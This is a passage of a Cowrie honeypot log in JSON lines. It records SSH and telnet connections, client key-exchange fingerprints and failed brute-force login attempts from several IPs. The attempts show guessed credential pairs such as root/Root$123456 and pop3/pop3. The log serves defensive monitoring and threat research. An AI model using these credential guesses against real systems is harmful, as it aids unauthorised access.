{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32926,"dst_ip":"10.17.0.5","dst_port":23,"session":"b340e5a92ee7","protocol":"telnet","message":"New connection: 152.42.224.71:32926 (10.17.0.5:23) [session: b340e5a92ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:58.637478Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32932,"dst_ip":"10.17.0.5","dst_port":23,"session":"c705c2400534","protocol":"telnet","message":"New connection: 152.42.224.71:32932 (10.17.0.5:23) [session: c705c2400534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:00.534749Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":44090,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4caaa0112d1","protocol":"ssh","message":"New connection: 87.251.79.125:44090 (159.203.135.109:22) [session: b4caaa0112d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:03.343488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:03.348738Z","src_ip":"87.251.79.125","session":"b4caaa0112d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:03.421085Z","src_ip":"87.251.79.125","session":"b4caaa0112d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123455432","message":"login attempt [root/123455432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:03.641186Z","src_ip":"87.251.79.125","session":"b4caaa0112d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:04.716101Z","src_ip":"87.251.79.125","session":"b4caaa0112d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root$123456","message":"login attempt [root/Root$123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:08.069677Z","src_ip":"213.209.159.158","session":"373346538d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:11.320709Z","src_ip":"213.209.159.158","session":"373346538d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49816,"dst_ip":"159.203.135.109","dst_port":22,"session":"d91992d47330","protocol":"ssh","message":"New connection: 213.209.159.158:49816 (159.203.135.109:22) [session: d91992d47330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:11.398980Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40556,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b682b004fa3","protocol":"telnet","message":"New connection: 152.42.224.71:40556 (10.17.0.5:23) [session: 5b682b004fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:12.514811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:13.399728Z","src_ip":"213.209.159.158","session":"d91992d47330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:13.403267Z","src_ip":"213.209.159.158","session":"d91992d47330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":57758,"dst_ip":"159.203.135.109","dst_port":22,"session":"00ef92a71479","protocol":"ssh","message":"New connection: 103.173.227.57:57758 (159.203.135.109:22) [session: 00ef92a71479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:15.438609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:15.443040Z","src_ip":"103.173.227.57","session":"00ef92a71479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:15.687091Z","src_ip":"103.173.227.57","session":"00ef92a71479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aleksand","message":"login attempt [root/aleksand] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:16.410151Z","src_ip":"103.173.227.57","session":"00ef92a71479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:17.653800Z","src_ip":"103.173.227.57","session":"00ef92a71479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.617292404174805,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:21.514705Z","src_ip":"152.42.224.71","session":"3cb9d043378d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40130,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7363b4c7953","protocol":"ssh","message":"New connection: 103.195.236.96:40130 (10.17.0.5:22) [session: f7363b4c7953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:21.551656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:21.556987Z","src_ip":"103.195.236.96","session":"f7363b4c7953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:21.790654Z","src_ip":"103.195.236.96","session":"f7363b4c7953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfnfitymrf","message":"login attempt [root/yfnfitymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:22.549031Z","src_ip":"103.195.236.96","session":"f7363b4c7953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"proxy","password":"proxy0","message":"login attempt [proxy/proxy0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:23.100526Z","src_ip":"213.209.159.158","session":"d91992d47330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:23.784989Z","src_ip":"103.195.236.96","session":"f7363b4c7953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.048267364501953,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:24.685641Z","src_ip":"152.42.224.71","session":"b340e5a92ee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:26.320027Z","src_ip":"213.209.159.158","session":"d91992d47330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49362,"dst_ip":"159.203.135.109","dst_port":22,"session":"57b56c8f6271","protocol":"ssh","message":"New connection: 213.209.159.158:49362 (159.203.135.109:22) [session: 57b56c8f6271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:26.403244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:28.920225Z","src_ip":"213.209.159.158","session":"57b56c8f6271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:28.924219Z","src_ip":"213.209.159.158","session":"57b56c8f6271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pop3","password":"pop3","message":"login attempt [pop3/pop3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:38.077848Z","src_ip":"213.209.159.158","session":"57b56c8f6271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:41.713186Z","src_ip":"213.209.159.158","session":"57b56c8f6271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49348,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a9e79fcc4ff","protocol":"ssh","message":"New connection: 213.209.159.158:49348 (159.203.135.109:22) [session: 5a9e79fcc4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:41.808082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:44.089716Z","src_ip":"213.209.159.158","session":"5a9e79fcc4ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:44.093976Z","src_ip":"213.209.159.158","session":"5a9e79fcc4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.24139666557312,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:45.776045Z","src_ip":"152.42.224.71","session":"c705c2400534","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"musa","password":"musa","message":"login attempt [musa/musa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:53.251631Z","src_ip":"213.209.159.158","session":"5a9e79fcc4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:56.805265Z","src_ip":"213.209.159.158","session":"5a9e79fcc4ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24376,"dst_ip":"159.203.135.109","dst_port":22,"session":"05fffb240447","protocol":"ssh","message":"New connection: 213.209.159.158:24376 (159.203.135.109:22) [session: 05fffb240447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:56.896448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:59.179216Z","src_ip":"213.209.159.158","session":"05fffb240447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:07:59.183342Z","src_ip":"213.209.159.158","session":"05fffb240447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root$1","message":"login attempt [root/root$1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:08.839062Z","src_ip":"213.209.159.158","session":"05fffb240447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:12.037885Z","src_ip":"213.209.159.158","session":"05fffb240447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":26292,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc1a60d1b061","protocol":"ssh","message":"New connection: 213.209.159.158:26292 (159.203.135.109:22) [session: fc1a60d1b061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:12.116718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:08:14.134062Z","src_ip":"213.209.159.158","session":"fc1a60d1b061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["n